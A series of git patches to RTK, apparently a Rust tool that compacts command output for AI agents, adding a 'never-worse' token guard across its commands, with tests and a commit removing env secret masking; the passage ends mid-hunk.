body.push('\n'); // Display with proper --max limiting (count individual files) - let mut shown = 0; + let mut displayed = 0; for dir in &dirs { - if shown >= max_results { + if displayed >= max_results { break; } @@ -328,10 +328,10 @@ pub fn run( dir.clone() }; - let remaining_budget = max_results - shown; + let remaining_budget = max_results - displayed; if files_in_dir.len() <= remaining_budget { - println!("{}/ {}", dir_display, files_in_dir.join(" ")); - shown += files_in_dir.len(); + body.push_str(&format!("{}/ {}\n", dir_display, files_in_dir.join(" "))); + displayed += files_in_dir.len(); } else { // Partial display: show only what fits in budget let partial: Vec<_> = files_in_dir @@ -339,14 +339,14 @@ pub fn run( .take(remaining_budget) .cloned() .collect(); - println!("{}/ {}", dir_display, partial.join(" ")); - shown += partial.len(); + body.push_str(&format!("{}/ {}\n", dir_display, partial.join(" "))); + displayed += partial.len(); break; } } - if shown < total_files { - println!("+{} more", total_files - shown); + if displayed < total_files { + body.push_str(&format!("+{} more\n", total_files - displayed)); } // Extension summary @@ -359,9 +359,8 @@ pub fn run( *by_ext.entry(ext).or_default() += 1; } - let mut ext_line = String::new(); if by_ext.len() > 1 { - println!(); + body.push('\n'); let mut exts: Vec<_> = by_ext.iter().collect(); exts.sort_by(|a, b| b.1.cmp(a.1)); let ext_str: Vec = exts @@ -369,16 +368,17 @@ pub fn run( .take(5) .map(|(e, c)| format!(".{}({})", e, c)) .collect(); - ext_line = format!("ext: {}", ext_str.join(" ")); - println!("{}", ext_line); + let ext_line = format!("ext: {}", ext_str.join(" ")); + body.push_str(&format!("{}\n", ext_line)); } - let rtk_output = format!("{}F {}D + {}", total_files, dirs_count, ext_line); + let shown = never_worse(&raw_output, &body); + print!("{}", shown); timer.track( &format!("find {} -name '{}'", path, effective_pattern), "rtk find", &raw_output, - &rtk_output, + shown, ); Ok(()) diff --git a/src/cmds/system/format_cmd.rs b/src/cmds/system/format_cmd.rs index 431b25c78d..0ebfa3ab45 100644 --- a/src/cmds/system/format_cmd.rs +++ b/src/cmds/system/format_cmd.rs @@ -1,5 +1,6 @@ //! Runs code formatters (Prettier, Ruff) and shows only files that changed. +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::truncate::CAP_WARNINGS; @@ -124,13 +125,14 @@ pub fn run(args: &[String], verbose: u8) -> Result { _ => raw.trim().to_string(), }; - println!("{}", filtered); + let shown = never_worse(&raw, &filtered); + println!("{}", shown); timer.track( &format!("{} {}", formatter, user_args.join(" ")), &format!("rtk format {} {}", formatter, user_args.join(" ")), &raw, - &filtered, + shown, ); Ok(result.exit_code) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index b3954526a1..353b710b38 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -400,13 +400,11 @@ pub fn run( eprintln!("{}", msg); return Ok(exit_code); } - let msg = format!("0 matches for '{}'", pattern_display); - println!("{}", msg); timer.track( &format!("grep -rn '{}' {}", pattern_display, path_display), "rtk grep", &raw_output, - &msg, + "", ); return Ok(exit_code); } @@ -464,12 +462,13 @@ pub fn run( rtk_output.push_str(&format!("[+{} more]\n", total_matches - shown)); } - print!("{}", rtk_output); + let guarded = crate::core::guard::never_worse(&raw_output, &rtk_output); + print!("{}", guarded); timer.track( &format!("grep -rn '{}' {}", pattern_display, path_display), "rtk grep", &raw_output, - &rtk_output, + guarded, ); Ok(exit_code) diff --git a/src/cmds/system/json_cmd.rs b/src/cmds/system/json_cmd.rs index 1482214443..10b59c0d7f 100644 --- a/src/cmds/system/json_cmd.rs +++ b/src/cmds/system/json_cmd.rs @@ -1,5 +1,6 @@ //! Inspects JSON structure without showing values, saving tokens on large payloads. +use crate::core::guard::never_worse; use crate::core::tracking; use anyhow::{bail, Context, Result}; use serde_json::Value; @@ -52,12 +53,13 @@ pub fn run(file: &Path, max_depth: usize, schema_only: bool, verbose: u8) -> Res } else { filter_json_compact(&content, max_depth)? }; - println!("{}", output); + let shown = never_worse(&content, &output); + println!("{}", shown); timer.track( &format!("cat {}", file.display()), "rtk json", &content, - &output, + shown, ); Ok(()) } @@ -81,8 +83,9 @@ pub fn run_stdin(max_depth: usize, schema_only: bool, verbose: u8) -> Result<()> } else { filter_json_compact(&content, max_depth)? }; - println!("{}", output); - timer.track("cat - (stdin)", "rtk json -", &content, &output); + let shown = never_worse(&content, &output); + println!("{}", shown); + timer.track("cat - (stdin)", "rtk json -", &content, shown); Ok(()) } diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index 7c765f5e6e..3dca37452f 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -1,5 +1,6 @@ //! Deduplicates repeated log lines and shows counts instead. +use crate::core::guard::never_worse; use crate::core::tracking; use crate::core::truncate::{reduced, CAP_WARNINGS}; use anyhow::Result; @@ -31,12 +32,13 @@ pub fn run_file(file: &Path, verbose: u8) -> Result<()> { let content = fs::read_to_string(file)?; let result = analyze_logs(&content); - println!("{}", result); + let shown = never_worse(&content, &result); + println!("{}", shown); timer.track( &format!("cat {}", file.display()), "rtk log", &content, - &result, + shown, ); Ok(()) } @@ -53,9 +55,10 @@ pub fn run_stdin(_verbose: u8) -> Result<()> { } let result = analyze_logs(&content); - println!("{}", result); + let shown = never_worse(&content, &result); + println!("{}", shown); - timer.track("log (stdin)", "rtk log (stdin)", &content, &result); + timer.track("log (stdin)", "rtk log (stdin)", &content, shown); Ok(()) } diff --git a/src/cmds/system/read.rs b/src/cmds/system/read.rs index 2f56687ee3..5fb716d538 100644 --- a/src/cmds/system/read.rs +++ b/src/cmds/system/read.rs @@ -1,6 +1,7 @@ //! Reads source files with optional language-aware filtering to strip boilerplate. use crate::core::filter::{self, FilterLevel, Language}; +use crate::core::guard::never_worse; use crate::core::tracking; use anyhow::{Context, Result}; use std::fs; @@ -70,12 +71,13 @@ pub fn run( } else { filtered.clone() }; - print!("{}", rtk_output); + let shown = never_worse(&content, &rtk_output); + print!("{}", shown); timer.track( &format!("cat {}", file.display()), "rtk read", &content, - &rtk_output, + shown, ); Ok(()) } @@ -134,9 +136,10 @@ pub fn run_stdin( } else { filtered.clone() }; - print!("{}", rtk_output); + let shown = never_worse(&content, &rtk_output); + print!("{}", shown); - timer.track("cat - (stdin)", "rtk read -", &content, &rtk_output); + timer.track("cat - (stdin)", "rtk read -", &content, shown); Ok(()) } diff --git a/src/cmds/system/summary.rs b/src/cmds/system/summary.rs index 31de537ea0..5fdb0c6716 100644 --- a/src/cmds/system/summary.rs +++ b/src/cmds/system/summary.rs @@ -1,5 +1,6 @@ //! Runs a command and produces a heuristic summary of its output. +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::truncate::CAP_WARNINGS; @@ -33,8 +34,9 @@ pub fn run(command: &str, verbose: u8) -> Result { let raw = format!("{}\n{}", result.stdout, result.stderr); let summary = summarize_output(&raw, command, result.success()); - println!("{}", summary); - timer.track(command, "rtk summary", &raw, &summary); + let shown = never_worse(&raw, &summary); + println!("{}", shown); + timer.track(command, "rtk summary", &raw, shown); Ok(result.exit_code) } diff --git a/src/core/guard.rs b/src/core/guard.rs new file mode 100644 index 0000000000..b8b905b7b2 --- /dev/null +++ b/src/core/guard.rs @@ -0,0 +1,56 @@ +//! Never-worse output guard: RTK never emits more tokens than the raw command. + +use crate::core::tracking::estimate_tokens; + +/// Returns `filtered`, or `raw` when `filtered` would emit more tokens. +pub fn never_worse<'a>(raw: &'a str, filtered: &'a str) -> &'a str { + if estimate_tokens(filtered) > estimate_tokens(raw) { + raw + } else { + filtered + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn keeps_filtered_when_smaller() { + let raw = "a".repeat(400); + assert_eq!(never_worse(&raw, "ok"), "ok"); + } + + #[test] + fn falls_back_to_raw_when_filtered_bigger() { + let raw = "{}"; + let filtered = "{\n \"pretty\": true\n}"; + assert_eq!(never_worse(raw, filtered), raw); + } + + #[test] + fn tie_keeps_filtered() { + assert_eq!(never_worse("abcd", "wxyz"), "wxyz"); + } + + #[test] + fn token_boundary_follows_estimate_tokens() { + assert_eq!(never_worse("abcd", "abcde"), "abcd"); + assert_eq!(never_worse("abcdefgh", "ijklmnop"), "ijklmnop"); + } + + #[test] + fn empty_raw_returns_raw() { + assert_eq!(never_worse("", "0 matches"), ""); + } + + #[test] + fn empty_filtered_returns_filtered() { + assert_eq!(never_worse("data", ""), ""); + } + + #[test] + fn both_empty_returns_filtered() { + assert_eq!(never_worse("", ""), ""); + } +} diff --git a/src/core/mod.rs b/src/core/mod.rs index d5182bd340..aaa747e083 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -5,6 +5,7 @@ pub mod config; pub mod constants; pub mod display_helpers; pub mod filter; +pub mod guard; pub mod runner; pub mod stream; pub mod tee; diff --git a/src/core/runner.rs b/src/core/runner.rs index 571c7634b2..b893357491 100644 --- a/src/core/runner.rs +++ b/src/core/runner.rs @@ -6,12 +6,28 @@ use std::process::Command; use crate::core::stream::{self, FilterMode, StdinMode, StreamFilter}; use crate::core::tracking; -pub fn print_with_hint(filtered: &str, raw: &str, tee_label: &str, exit_code: i32) { - if let Some(hint) = crate::core::tee::tee_and_hint(raw, tee_label, exit_code) { - println!("{}\n{}", filtered, hint); - } else { - println!("{}", filtered); - } +/// Compose `filtered` with an optional recovery `hint`, cap the total at `raw` +/// (never emit more tokens than the command), print it, and return what was +/// emitted so the caller tracks exactly that. +pub fn emit_guarded(filtered: &str, hint: Option<&str>, raw: &str) -> String { + let body = match hint { + Some(h) => format!("{}\n{}", filtered, h), + None => filtered.to_string(), + }; + let shown = crate::core::guard::never_worse(raw, &body).to_string(); + println!("{}", shown); + shown +} + +pub fn print_with_hint( + filtered: &str, + tee_raw: &str, + guard_raw: &str, + tee_label: &str, + exit_code: i32, +) -> String { + let hint = crate::core::tee::tee_and_hint(tee_raw, tee_label, exit_code); + emit_guarded(filtered, hint.as_deref(), guard_raw) } #[derive(Default)] @@ -113,24 +129,29 @@ where }; let filtered = filter_fn(text_to_filter, exit_code); - if let Some(label) = opts.tee_label { - print_with_hint(&filtered, raw, label, exit_code); - } else if opts.no_trailing_newline { - print!("{}", filtered); - } else { - println!("{}", filtered); - } - let raw_for_tracking = if opts.filter_stdout_only { raw_stdout } else { raw }; + + let shown = if let Some(label) = opts.tee_label { + print_with_hint(&filtered, raw, raw_for_tracking, label, exit_code) + } else { + let guarded = crate::core::guard::never_worse(raw_for_tracking, &filtered).to_string(); + if opts.no_trailing_newline { + print!("{}", guarded); + } else { + println!("{}", guarded); + } + guarded + }; + timer.track( cmd_label, &format!("rtk {}", cmd_label), raw_for_tracking, - &filtered, + &shown, ); Ok(exit_code) } diff --git a/src/main.rs b/src/main.rs index c55751dfc0..5a9e88dcb9 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1268,16 +1268,14 @@ fn run_fallback(parse_error: clap::Error) -> Result { }; let filtered = core::toml_filter::apply_filter(filter, &combined_raw); - println!("{}", filtered); - if let Some(hint) = tee_hint { - println!("{}", hint); - } + let shown = + core::runner::emit_guarded(&filtered, tee_hint.as_deref(), &combined_raw); timer.track( &raw_command, &format!("rtk:toml {}", raw_command), &combined_raw, - &filtered, + &shown, ); core::tracking::record_parse_failure_silent(&raw_command, &error_message, true); diff --git a/tests/guard_integration_test.rs b/tests/guard_integration_test.rs new file mode 100644 index 0000000000..494ac05383 --- /dev/null +++ b/tests/guard_integration_test.rs @@ -0,0 +1,151 @@ +//! End-to-end proof of the never-worse guard (src/core/guard.rs). + +use std::io::Write; +use std::process::{Command, Stdio}; + +fn rtk_stdin(args: &[&str], input: &str) -> String { + let mut child = Command::new(env!("CARGO_BIN_EXE_rtk")) + .args(args) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn() + .expect("spawn rtk"); + child + .stdin + .take() + .expect("stdin") + .write_all(input.as_bytes()) + .expect("write stdin"); + let out = child.wait_with_output().expect("wait rtk"); + String::from_utf8_lossy(&out.stdout).into_owned() +} + +#[test] +fn guard_shows_raw_when_filter_would_bloat_tiny_input() { + let input = "{\"a\":1,\"b\":2,\"c\":3,\"d\":4}"; + let out = rtk_stdin(&["json", "-"], input); + + assert_eq!( + out.trim(), + input, + "guard should emit the raw minified JSON, not a larger pretty-printed form" + ); + assert!( + out.trim().len() <= input.len(), + "never-worse violated: {} chars emitted for a {}-char raw input", + out.trim().len(), + input.len() + ); +} + +#[test] +fn guard_does_not_block_real_compression() { + let mut input = String::from("{"); + for i in 0..60 { + input.push_str(&format!("\"key_{i}\":\"value_{i}\",")); + } + input.push_str("\"last\":1}"); + + let out = rtk_stdin(&["json", "-"], &input); + assert!( + out.len() < input.len(), + "filter should compress large input (guard must not over-trigger): {} vs {}", + out.len(), + input.len() + ); +} + +fn rtk_in_dir(dir: &std::path::Path, args: &[&str]) -> (String, Option) { + let out = Command::new(env!("CARGO_BIN_EXE_rtk")) + .args(args) + .current_dir(dir) + .stderr(Stdio::null()) + .output() + .expect("spawn rtk"); + ( + String::from_utf8_lossy(&out.stdout).into_owned(), + out.status.code(), + ) +} + +fn rg_available() -> bool { + Command::new("rg") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +fn init_git_repo() -> tempfile::TempDir { + let dir = tempfile::tempdir().expect("tempdir"); + for args in [ + &["init", "-q"][..], + &["config", "user.email", "t@t.t"][..], + &["config", "user.name", "t"][..], + &["commit", "-q", "--allow-empty", "-m", "init"][..], + ] { + let ok = Command::new("git") + .args(args) + .current_dir(dir.path()) + .output() + .map(|o| o.status.success()) + .unwrap_or(false); + assert!(ok, "git setup failed: {args:?}"); + } + dir +} + +#[test] +fn grep_no_match_emits_empty_not_a_message() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("a.txt"), "hello world\n").expect("write"); + let (out, code) = rtk_in_dir(dir.path(), &["grep", "zzz_no_match_xyz", "."]); + assert!( + out.trim().is_empty(), + "no-match grep must emit empty, not a '0 matches' line: {out:?}" + ); + assert_eq!(code, Some(1), "grep no-match must preserve exit 1"); +} + +#[test] +fn find_no_results_emits_empty() { + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("a.txt"), "x").expect("write"); + let (out, _) = rtk_in_dir(dir.path(), &["find", ".", "-name", "zzz_no_match_xyz"]); + assert!( + out.trim().is_empty(), + "no-result find must emit empty, not a '0 for' line: {out:?}" + ); +} + +#[test] +fn git_stash_list_no_stashes_emits_empty() { + let dir = init_git_repo(); + let (out, code) = rtk_in_dir(dir.path(), &["git", "stash", "list"]); + assert!( + out.trim().is_empty(), + "no-stashes must emit empty, not 'No stashes': {out:?}" + ); + assert_eq!(code, Some(0)); +} + +#[test] +fn git_stash_show_no_stash_emits_empty_and_propagates_failure() { + // Regression: previously printed "Empty stash" and returned Ok(0), masking + // the underlying `git stash show` failure. + let dir = init_git_repo(); + let (out, code) = rtk_in_dir(dir.path(), &["git", "stash", "show"]); + assert!( + out.trim().is_empty(), + "must emit empty, not 'Empty stash': {out:?}" + ); + assert_ne!( + code, + Some(0), + "a real git stash show failure must not be masked as exit 0" + ); +} From 223dda2996c061e93605d996a14d454a56198ec4 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 11:18:32 +0200 Subject: [PATCH 237/257] fix(env): clean up feature from secrets rewrite Masking env secrets is not what core RTK (OSS) is for -- it compresses command output, it does not redact what the command itself already reveals. It also broke raw-vs-filtered consistency, which the never-worse guard relies on. --- src/cmds/system/env_cmd.rs | 79 ++------------------------------------ src/main.rs | 9 ++--- 2 files changed, 7 insertions(+), 81 deletions(-) diff --git a/src/cmds/system/env_cmd.rs b/src/cmds/system/env_cmd.rs index fae7658f1c..e2cea8a205 100644 --- a/src/cmds/system/env_cmd.rs +++ b/src/cmds/system/env_cmd.rs @@ -1,22 +1,20 @@ -//! Filters environment variables, hiding secrets and noise. +//! Filters environment variables, compacting noise. use crate::core::guard::never_worse; use crate::core::tracking; use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use anyhow::Result; -use std::collections::HashSet; use std::env; use std::fmt::Write; -/// Show filtered environment variables (hide sensitive data) -pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { +/// Show filtered environment variables +pub fn run(filter: Option<&str>, verbose: u8) -> Result<()> { let timer = tracking::TimedExecution::start(); if verbose > 0 { eprintln!("Environment variables:"); } - let sensitive_patterns = get_sensitive_patterns(); let mut vars: Vec<(String, String)> = env::vars().collect(); vars.sort_by(|a, b| a.0.cmp(&b.0)); @@ -35,14 +33,7 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { } } - // Check if sensitive - let is_sensitive = sensitive_patterns - .iter() - .any(|p| key.to_lowercase().contains(p)); - - let display_value = if is_sensitive && !show_all { - mask_value(value) - } else if value.len() > 100 { + let display_value = if value.len() > 100 { let preview: String = value.chars().take(50).collect(); format!("{}... ({} chars)", preview, value.chars().count()) } else { @@ -138,33 +129,6 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { Ok(()) } -fn get_sensitive_patterns() -> HashSet<&'static str> { - let mut set = HashSet::new(); - set.insert("key"); - set.insert("secret"); - set.insert("password"); - set.insert("token"); - set.insert("credential"); - set.insert("auth"); - set.insert("private"); - set.insert("api_key"); - set.insert("apikey"); - set.insert("access_key"); - set.insert("jwt"); - set -} - -fn mask_value(value: &str) -> String { - let chars: Vec = value.chars().collect(); - if chars.len() <= 4 { - "****".to_string() - } else { - let prefix: String = chars[..2].iter().collect(); - let suffix: String = chars[chars.len() - 2..].iter().collect(); - format!("{}****{}", prefix, suffix) - } -} - fn is_lang_var(key: &str) -> bool { let patterns = [ "RUST", "CARGO", "PYTHON", "PIP", "NODE", "NPM", "YARN", "DENO", "BUN", "JAVA", "MAVEN", @@ -218,32 +182,6 @@ fn is_interesting_var(key: &str) -> bool { mod tests { use super::*; - #[test] - fn test_mask_value_short() { - assert_eq!(mask_value("abc"), "****"); - assert_eq!(mask_value(""), "****"); - } - - #[test] - fn test_mask_value_long() { - let result = mask_value("supersecrettoken"); - assert!(result.contains("****"), "Masked value should contain ****"); - assert!(result.starts_with("su"), "Should preserve 2-char prefix"); - assert!(result.ends_with("en"), "Should preserve 2-char suffix"); - } - - #[test] - fn test_mask_value_exactly_four() { - assert_eq!(mask_value("abcd"), "****"); - } - - #[test] - fn test_mask_value_five_chars() { - let result = mask_value("abcde"); - assert!(result.starts_with("ab")); - assert!(result.ends_with("de")); - } - #[test] fn test_is_lang_var_rust() { assert!(is_lang_var("RUST_LOG")); @@ -295,13 +233,4 @@ mod tests { assert!(!is_interesting_var("RANDOM_VAR")); assert!(!is_interesting_var("MY_CUSTOM_VAR")); } - - #[test] - fn test_sensitive_patterns_contains_keys() { - let patterns = get_sensitive_patterns(); - assert!(patterns.contains("key")); - assert!(patterns.contains("secret")); - assert!(patterns.contains("password")); - assert!(patterns.contains("token")); - } } diff --git a/src/main.rs b/src/main.rs index 5a9e88dcb9..d919afe8e3 100644 --- a/src/main.rs +++ b/src/main.rs @@ -244,14 +244,11 @@ enum Commands { path: PathBuf, }, - /// Show environment variables (filtered, sensitive masked) + /// Show environment variables (filtered) Env { /// Filter by name (e.g. PATH, AWS) #[arg(short, long)] filter: Option, - /// Show all (include sensitive) - #[arg(long)] - show_all: bool, }, /// Find files with compact tree output (accepts native find flags like -name, -type) @@ -1751,8 +1748,8 @@ fn run_cli() -> Result { 0 } - Commands::Env { filter, show_all } => { - env_cmd::run(filter.as_deref(), show_all, cli.verbose)?; + Commands::Env { filter } => { + env_cmd::run(filter.as_deref(), cli.verbose)?; 0 } From 9d9ad7cb177a1da22c4395dc6716fdf5e640a6f3 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 14:32:25 +0200 Subject: [PATCH 238/257] fix(pipe): apply the never-worse guard pipe filters piped stdin but bypassed the guard; route its output through never_worse like every other compressor. --- src/cmds/system/pipe_cmd.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index 6dcc4cdb61..c1a1a07c87 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -1,6 +1,7 @@ use anyhow::Result; use std::io::Read; +use crate::core::guard::never_worse; use crate::core::stream::RAW_CAP; use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; @@ -238,7 +239,8 @@ pub fn run(filter_name: Option<&str>, passthrough: bool) -> Result<()> { }; let output = apply_filter(filter_fn, &buf); - print!("{}", output); + let shown = never_worse(&buf, &output); + print!("{}", shown); Ok(()) } From 9a2ad90360b39ba8786f6056188ee9a939a9db28 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 16:43:54 +0200 Subject: [PATCH 239/257] fix(read): make guard baseline faithful to cat/cat -n output Compare filtered output against the raw the agent's command would emit (numbered for -n), not against unnumbered content, so the guard keeps requested line numbers instead of dropping to plain. --- src/cmds/system/read.rs | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/src/cmds/system/read.rs b/src/cmds/system/read.rs index 5fb716d538..141d55acf2 100644 --- a/src/cmds/system/read.rs +++ b/src/cmds/system/read.rs @@ -66,17 +66,20 @@ pub fn run( filtered = apply_line_window(&filtered, max_lines, tail_lines, &lang); - let rtk_output = if line_numbers { - format_with_line_numbers(&filtered) + let (raw, rtk_output) = if line_numbers { + ( + format_with_line_numbers(&content), + format_with_line_numbers(&filtered), + ) } else { - filtered.clone() + (content.clone(), filtered.clone()) }; - let shown = never_worse(&content, &rtk_output); + let shown = never_worse(&raw, &rtk_output); print!("{}", shown); timer.track( &format!("cat {}", file.display()), "rtk read", - &content, + &raw, shown, ); Ok(()) @@ -131,15 +134,18 @@ pub fn run_stdin( filtered = apply_line_window(&filtered, max_lines, tail_lines, &lang); - let rtk_output = if line_numbers { - format_with_line_numbers(&filtered) + let (raw, rtk_output) = if line_numbers { + ( + format_with_line_numbers(&content), + format_with_line_numbers(&filtered), + ) } else { - filtered.clone() + (content.clone(), filtered.clone()) }; - let shown = never_worse(&content, &rtk_output); + let shown = never_worse(&raw, &rtk_output); print!("{}", shown); - timer.track("cat - (stdin)", "rtk read -", &content, shown); + timer.track("cat - (stdin)", "rtk read -", &raw, shown); Ok(()) } From b52db52da065f65f9838e7fd12c496b7d28d06e8 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 18:44:42 +0200 Subject: [PATCH 240/257] fix(docker): make the agent's command authoritative for the guard baseline docker ps/ps -a/images ran a plain command for the raw baseline and a separate --format command for parsing, capturing the plain run with unwrap_or_default(). A failed plain run while --format succeeded left raw empty, and never_worse("", summary) dropped real output. Run the agent's actual command first as the source of truth: on failure show its output/exit faithfully; on success use its stdout as raw and treat --format as a best-effort parse aid that falls back to raw. The guard stays pure and always sees a real baseline. Parsers unchanged. --- src/cmds/cloud/container.rs | 97 +++++++++++++++++++++++-------------- 1 file changed, 61 insertions(+), 36 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 10f2ce1c8d..59c1ee5f90 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -58,24 +58,32 @@ where fn docker_ps(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - let raw = exec_capture(resolved_command("docker").args(["ps"])) - .map(|r| r.stdout) - .unwrap_or_default(); + let base = exec_capture(resolved_command("docker").args(["ps"])) + .context("Failed to run docker ps")?; + if !base.success() { + eprint!("{}", base.stderr); + print!("{}", base.stdout); + timer.track("docker ps", "rtk docker ps", &base.stdout, &base.stdout); + return Ok(base.exit_code); + } + let raw = base.stdout; - let result = exec_capture(resolved_command("docker").args([ + let stdout = match exec_capture(resolved_command("docker").args([ "ps", "--format", "{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", ])) - .context("Failed to run docker ps")?; - - if !result.success() { - eprint!("{}", result.stderr); - timer.track("docker ps", "rtk docker ps", &raw, &raw); - return Ok(result.exit_code); - } + .ok() + .filter(|r| r.success()) + { + Some(r) => r.stdout, + None => { + print!("{}", raw); + timer.track("docker ps", "rtk docker ps", &raw, &raw); + return Ok(0); + } + }; - let stdout = result.stdout; let mut rtk = String::new(); if stdout.trim().is_empty() { @@ -111,27 +119,36 @@ fn docker_ps(_verbose: u8) -> Result { fn docker_ps_all(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - let raw = exec_capture(resolved_command("docker").args(["ps", "-a"])) - .map(|r| r.stdout) - .unwrap_or_default(); + let base = exec_capture(resolved_command("docker").args(["ps", "-a"])) + .context("Failed to run docker ps -a")?; + if !base.success() { + eprint!("{}", base.stderr); + print!("{}", base.stdout); + timer.track("docker ps -a", "rtk docker ps -a", &base.stdout, &base.stdout); + return Ok(base.exit_code); + } + let raw = base.stdout; - let result = exec_capture(resolved_command("docker").args([ + let stdout = match exec_capture(resolved_command("docker").args([ "ps", "-a", "--format", "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", ])) - .context("Failed to run docker ps -a")?; - - if !result.success() { - eprint!("{}", result.stderr); - timer.track("docker ps -a", "rtk docker ps -a", &raw, &raw); - return Ok(result.exit_code); - } + .ok() + .filter(|r| r.success()) + { + Some(r) => r.stdout, + None => { + print!("{}", raw); + timer.track("docker ps -a", "rtk docker ps -a", &raw, &raw); + return Ok(0); + } + }; let mut running_lines: Vec = Vec::new(); let mut stopped_lines: Vec = Vec::new(); - for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { + for line in stdout.lines().filter(|l| !l.trim().is_empty()) { let parts: Vec<&str> = line.split('\t').collect(); let state = parts.first().copied().unwrap_or(""); let is_running = matches!(state, "running" | "restarting"); @@ -218,24 +235,32 @@ fn format_container_line_from_parts(parts: &[&str], with_ports: bool) -> Option< fn docker_images(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - let raw = exec_capture(resolved_command("docker").args(["images"])) - .map(|r| r.stdout) - .unwrap_or_default(); + let base = exec_capture(resolved_command("docker").args(["images"])) + .context("Failed to run docker images")?; + if !base.success() { + eprint!("{}", base.stderr); + print!("{}", base.stdout); + timer.track("docker images", "rtk docker images", &base.stdout, &base.stdout); + return Ok(base.exit_code); + } + let raw = base.stdout; - let result = exec_capture(resolved_command("docker").args([ + let stdout = match exec_capture(resolved_command("docker").args([ "images", "--format", "{{.Repository}}:{{.Tag}}\t{{.Size}}", ])) - .context("Failed to run docker images")?; - - if !result.success() { - eprint!("{}", result.stderr); - timer.track("docker images", "rtk docker images", &raw, &raw); - return Ok(result.exit_code); - } + .ok() + .filter(|r| r.success()) + { + Some(r) => r.stdout, + None => { + print!("{}", raw); + timer.track("docker images", "rtk docker images", &raw, &raw); + return Ok(0); + } + }; - let stdout = result.stdout; let lines: Vec<&str> = stdout.lines().collect(); let mut rtk = String::new(); From 25a095e90d7f8320d80577177f7623b13fa1bbad Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 19:27:06 +0200 Subject: [PATCH 241/257] fix(aws): guard the s3 ls and s3 sync/cp text emits --- src/cmds/cloud/aws_cmd.rs | 30 ++++++++++++------------------ 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index 0f8287af00..fa76d73124 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -407,17 +407,14 @@ fn run_s3_ls(extra_args: &[String], verbose: u8) -> Result { } let result = filter_s3_ls(&stdout); - if result.truncated { - if let Some(hint) = crate::core::tee::force_tee_hint(&raw, "aws_s3_ls") { - println!("{}\n{}", result.text, hint); - } else { - println!("{}", result.text); - } + let hint = if result.truncated { + crate::core::tee::force_tee_hint(&raw, "aws_s3_ls") } else { - println!("{}", result.text); - } + None + }; + let shown = crate::core::runner::emit_guarded(&result.text, hint.as_deref(), &raw); - timer.track("aws s3 ls", "rtk aws s3 ls", &raw, &result.text); + timer.track("aws s3 ls", "rtk aws s3 ls", &raw, &shown); Ok(0) } @@ -460,17 +457,14 @@ fn run_s3_transfer(operation: &str, extra_args: &[String], verbose: u8) -> Resul } let result = filter_s3_transfer(&stdout); - if result.truncated { - if let Some(hint) = force_tee_hint(&raw, &slug) { - println!("{}\n{}", result.text, hint); - } else { - println!("{}", result.text); - } + let hint = if result.truncated { + force_tee_hint(&raw, &slug) } else { - println!("{}", result.text); - } + None + }; + let shown = crate::core::runner::emit_guarded(&result.text, hint.as_deref(), &raw); - timer.track(&cmd_label, &rtk_label, &raw, &result.text); + timer.track(&cmd_label, &rtk_label, &raw, &shown); Ok(0) } From 3d4189cc6304a8eefc7ab94388b268054b94a634 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 20:37:02 +0200 Subject: [PATCH 242/257] fix(docker): report 0 containers/images instead of empty output --- src/cmds/cloud/container.rs | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 59c1ee5f90..348ab14f55 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -86,11 +86,6 @@ fn docker_ps(_verbose: u8) -> Result { let mut rtk = String::new(); - if stdout.trim().is_empty() { - timer.track("docker ps", "rtk docker ps", &raw, ""); - return Ok(0); - } - const MAX_CONTAINERS: usize = 